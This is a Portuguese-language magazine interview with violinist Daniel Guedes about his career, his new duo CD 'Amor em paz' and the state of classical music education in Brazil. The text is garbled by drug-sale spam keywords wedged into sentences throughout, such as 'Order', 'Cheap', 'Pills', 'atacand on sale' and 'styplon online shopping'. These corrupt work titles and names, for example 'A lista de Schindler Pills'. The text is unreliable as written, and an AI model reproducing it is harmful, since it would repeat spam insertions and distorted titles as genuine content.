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Menino prodígio

Em entrevista exclusiva, o violinista Daniel Guedes fala de seus vários trabalhos – como solista, regente, professor – e comenta o novo CD, Order Amor em paz, que tem lançamento marcado para 21/5, no Rio de Janeiro.

 

O violinista Daniel Guedes ainda não chegou aos 40 anos e já é velho conhecido dos palcos brasileiros. Somente nos próximos meses, serão vários compromissos profissionais: de 27 de maio a 10 de junho, participa da Etapa Maranhão com a Academia Jovem Concertante (serão cinco concertos pelo estado); no dia 13 de junho apresenta-se com a Orquestra Sinfônica de Piracicaba (SP); em 18 do mês seguinte será solista da suíte Martírio dos Insetos Buy , de H. Villa-Lobos, no Rio de Janeiro, com a Orquestra Sinfônica Brasileira; e termina o semestre participando do Festival de Inverno de Campos do Jordão (SP).

A vida musical desse carioca nascido em 1977 começou aos 7 anos, com seu pai, e prosseguiu no Conservatório Brasileiro de Música. Em 1991, trocou os trópicos pela cinzenta Londres, onde permaneceu por um ano na Guildhall School of Music. De lá, voou para Nova York, para ser aluno de Pinchas Zukerman e Patinka Kopec no Pinchas Zukerman Performance Program da Manhattan School of Music. Sua dedicação e talento renderam vários louros: foi vencedor dos concursos Jovens Concertistas Brasileiros (1991), Bergen Philharmonic Competition (1998) e Waldo Mayo Memorial Award (2000), prêmio este que valeu um concerto no Carnegie Hall, executando o Concerto n. 1, de M. Bruch.

O “Nelson Freire do violino” Cheap , nas palavras do crítico Carlos Augusto Dantas, do jornal Tribuna da Imprensa, Guedes tem atuado com versatilidade. Como músico, toca violino e viola, e vem regendo orquestras, tais como as Sinfônicas da Bahia e de Campinas. É também camerista: integra o Quarteto da Guanabara, grupo com mais de quatro décadas de existência. Seus conhecimentos são transmitidos aos mais jovens por meio de sua atuação como professor, tanto na Universidade Federal do Rio de Janeiro como no Programa Brasil de Tuhu, iniciativa social que realiza ações de promoção de educação musical no país por meio, entre outros mecanismos, de videoaulas na internet.

Em meio a todos esses trabalhos, o violinista grava CDs que unem o melhor da música de concerto com a fina flor da MPB. O primeiro foi em 2004: Impressões brasileiras, com obras de Villa-Lobos e Lorenzo Fernandez, entre outros, com Flávio Augusto ao piano. No ano seguinte, veio o álbum com Yukiko Tamura (piano), com obras de Villa-Lobos, Brahms e Poulenc. No mesmo ano, gravou o CD Ya Mariamu, com Fábio Presgrave (violoncelo) e Rami Khalife (piano), contendo obras de Piazzolla. Lançou, em 2008, o CD Suíte das Origens, com obras de Nelson Macêdo. Em 2011, lançou Violão e Violino, com Mario Ulloa, tocando compositores populares como Caymmi, Cartola, Chico Buarque e Ary Barroso. Gravou, no ano seguinte, o CD Beethoven in Brazil, com o pianista Ilan Rechtman. De volta à parceria com o violonista Mario Ulloa, produziu, este ano, o álbum Amor em paz (leia crítica), que terá lançamento no Rio de Janeiro em 21 de maio, no Museu Villa-Lobos.

Entre um ensaio e um concerto, Daniel Guedes conversou, por e-mail, com o Movimento.com. Confira a entrevista exclusiva.

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Movimento.com – Você está lançando o CD Amor em paz, com o violonista Mario Ulloa, no qual interpretam, além de duas peças de Brahms, um repertório de clássicos da MPB, como composições de Jacob do Bandolim, Tom & Vinícius, Noel Rosa e Johnny Alf. Além disso, há o tema do filme A lista de Schindler Pills , que você interpretou também com a OSB em concerto recordista de público em 2014, em homenagem ao compositor John Williams (autor também das trilhas sonoras de E.T., Cheap Tubarão, Guerra nas estrelas e Harry Potter). A escolha do repertório do CD foi motivada por razões de mercado (seria um tipo de repertório de mais fácil penetração para além do público de música erudita), de gosto pessoal dos artistas envolvidos ou por outras motivações?

Daniel Guedes – A escolha do nosso repertório tem se dado de forma muito natural e espontânea. Quando formamos o duo, nossa principal preocupação era em criar um repertório inédito para esta formação. Pensamos que o repertório escrito para violino e violão é bastante restrito, se limitando quase que a algumas obras de Paganini, Giuliani e Piazzolla ( atacand on sale Historie du tango, que nem foi originalmente escrita para violino), e em que, muitas vezes, a parte do violão é um simples acompanhamento. Começamos então a explorar o território da música instrumental brasileira, em arranjos elaborados, a maioria de autoria do Mario, em que começamos a explorar as possibilidades sonoras dos instrumentos e como eles poderiam reproduzir a atmosfera das canções que tocávamos. O primeiro CD, portanto, consistiu todo de música brasileira.

Já no segundo CD, havíamos começado a explorar outro tipo de repertório e a ousar mais na busca por sonoridades; com isso, ele foi enriquecido por músicas do repertório internacional. Ideias foram surgindo durante nossa trajetória de apresentações e encontros em festivais de música, e fomos pensando em uma seleção de obras variadas. Até a viola entrou neste disco, na música Derradeira primavera, e em scordatura! [N. do E.: termo que refere-se à prática de afinar uma ou mais das cordas de um instrumento em um tom fora do seu usual] Creio que o principal objetivo deste disco seja o de romper com as fronteiras entre a música dita “clássica” e a música popular. O CD tem uma atmosfera de liberdade, no qual somos livres para criar, por vezes improvisar, ou mesmo nos próprios arranjos, em que invertemos papéis (o violino acompanha o violão, por exemplo, no começo de Amor em paz).

Guedes com sabre de luz nos bastidores do concerto da OSB
Guedes com sabre de luz nos bastidores do concerto da OSB

O tema de A lista de Schindler é uma música que já faz parte da minha trajetória de violinista solista. Sinto uma grande identidade com ela e sugeri ao Mario uma redução da parte orquestral, criando assim uma versão oposta ao original, mais intimista, digamos, sem perder a essência da belíssima melodia escrita por John Williams.

 

Movimento.com – Do seu ponto de vista, quais são as principais dificuldades na carreira de músico clássico no Brasil hoje?

Daniel Guedes – Creio que as principais dificuldades se deem pela falta de espaço para divulgação deste tipo de música. A verba destinada para a música de concerto ainda é ínfima, se comparada a outros setores e mesmo a outros gêneros musicais. Vejo os jovens se preparando em um nível cada vez mais alto, mas com cada vez mais dificuldades para se inserir no mercado, muitas vezes tendo de sobreviver de bicos e subempregos. Muitas orquestras estão importando músicos de fora, o que tira a oportunidade para nossos jovens de talento.

Estou ultimamente tentando me dedicar a fazer com que os jovens possam encontrar mais oportunidades de trabalho. O projeto que venho desenvolvendo ao lado da pianista Simone Leitão, a Academia Jovem Concertante, é um trabalho que busca capacitar o músico talentoso para sua inserção nas orquestras de qualidade do país. É uma orquestra que se encontra em etapas, e os jovens ficam imersos em um trabalho que visa seu treinamento na execução do repertório orquestral e de câmera. Temos a Etapa Rio, que aconteceu em março, a Etapa São Paulo e a Etapa Maranhão, em que reunimos jovens prioritariamente desses estados, mas com abertura para jovens de outras regiões também. Muitos já estão conseguindo oportunidade de trabalho em orquestras profissionais, e estamos apenas no terceiro ano deste projeto.

 

Movimento.com – Existe, para quem é leigo, a mística de que a vida de quem se dedica à música clássica, assim como ao balé ou a certos esportes, é uma vida de abnegações. Seriam horas por dia exclusivamente dedicadas à prática, desde a infância, para alcançar a excelência em seu ofício. Você, que nasceu em 1977, passou a infância sem conhecer Xou da Xuxa, Balão Mágico, Sítio do Picapau Amarelo, Castelo Rá-Tim-Bum e outras preciosidades que só viu quem viveu nos anos 1980/90? Brincadeiras a parte, você sente que fez sacrifícios pela música? Se sim, quais? Se arrepende de algum?

Daniel Guedes – A carreira de um músico é semelhante à de um atleta. Existe um período da vida, e realmente tem de ser o mais cedo possível, no qual precisamos nos dedicar por muitas horas à prática do instrumento. Meus pais sempre me estimularam muito a estudar música, mas sempre se preocuparam com que eu tivesse uma vida normal, de brincar, soltar pipa, ver desenho animado, jogar futebol etc. Mas, muitas vezes, eu encontrava no próprio estudo do violino (e do piano também, naquela época) uma alegria e uma diversão. A preparação de um recital, a rotina de ensaios para um concerto com orquestra etc. eram como um parque de diversões para mim. Talvez por ter começado muito cedo, eu não tinha ideia da responsabilidade que é estar o palco: simplesmente adorava tocar para as pessoas.

Também tinha como um dos passatempos favoritos escutar música. Ser presenteado por meus pais com um LP do Itzhak Perlman ou do Pinchas Zukerman era como ganhar um brinquedo! Não me arrependo de ter passado grande parte da minha vida me dedicando à música, acho que é uma relação de amor eterno. Mas já cheguei a estudar oito horas por dia, por exemplo quando morei em Nova York e fui aluno do Zukerman.

 

Movimento.com – Você tem, em seu repertório, peças que vão de Bach a Dvorak, passando por Guerra-Peixe e Radamés Gnatalli, além de composições escritas para você por artistas como Nelson Macêdo e Aluisio Didier. No entanto, muitos músicos têm aquela obra que é um objeto de desejo, um pièce-de-resisténce que sonha executar com maestria. Você persegue alguma obra ou compositor? Há algo que sente que ainda não está pronto para tocar?

Daniel Guedes online – Acho que o objetivo maior de um músico reside na execução da obra de Bach. Quanto mais estudo esse compositor, mais descubro coisas novas a respeito de sua obra. Outro que ainda persigo tocar realmente bem é Schubert. A sua Fantasia em dó maior é uma daquelas obras que estão num pedestal, que considero quase impossíveis de tocar, pelas questões técnicas e musicais. É uma de suas últimas obras, realmente filosófica. E, no entanto, é apenas um tema com variações!

Sou um músico que busca sempre desafios. A regência orquestral tem sido um deles. Cada desafio é uma forma de me colocar em posição humilde, uma vez mais, diante da música. Tenho tido muitas conversas com o meu ex-professor Zukerman, que atualmente vem sendo um orientador na regência. Ele assiste a vídeos que envio de meus concertos e me direciona sobre o que devo fazer para crescer e me aperfeiçoar. Acho que a própria incursão no território popular é um desafio também, e por isso tenho me dedicado também muito ao duo com o Mario Ulloa. Queria poder improvisar com a naturalidade de um Grappelli.

 

Movimento.com – Ouve-se muitas preocupações sobre um possível pouco apreço dos jovens com relação à cultura, em especial à música de concerto – talvez por isso venha se falando tanto em ações de formação de plateia. Em função de ser professor universitário e ter contato com jovens, como percebe a próxima geração de músicos que virá? Você é esperançoso ou cético?

styplon online shopping Daniel Guedes – Acho que o pouco apreço vem, muitas vezes, da falta de acesso, da falta de um maior cuidado da mídia, em especial a televisão, em dar acesso à população à música de qualidade. Somos bombardeados constantemente por massa sonora de todo o tipo. Quando estamos em um bar ou em um restaurante, muitas vezes não podemos sequer conversar porque a música é tão alta que quase nos ensurdece. Como alguém pode ouvir e/ou apreciar música dessa forma?

Digo a meus alunos que, primeiramente, precisamos educar nossos ouvidos; como músicos, precisamos sentar e saber apreciar o som de uma gravação ou de uma orquestra ou músico em um teatro. A partir daí precisamos perseguir um som de qualidade. Uma vez que conseguimos, precisamos semear isso. Felizmente estão surgindo muitos projetos sociais com enfoque no aprendizado de música. Tenho tido oportunidade de conhecer de perto projetos como os de Heliópolis (SP), Neojibá (BA), implantado pelo meu amigo e grande pianista Ricardo Castro, e mais recentemente o de Barra Mansa (RJ), onde acabo de tocar o concerto duplo de Brahms com Fábio Presgrave. É emocionante ver a emoção e a determinação com que esses jovens se dedicam à música. E o resultado artístico é incrível: eles tocam no nível de muitas orquestras profissionais do país.

Creio que a geração que está surgindo já tem muito mais jovens estudando música do que na minha geração, por exemplo. Mas, como disse, é importante que eles semeiem isso. Que saiam de casa com seus instrumentos tendo como missão conseguir público e possíveis investidores. Só assim a música de concerto sobreviverá. Nos tempos de hoje, não basta tocar bem e esperar o telefone chamar. Isso não vai acontecer! Precisamos arregaçar as mangas e ir em busca de espaço e de público para a música de concerto.

 

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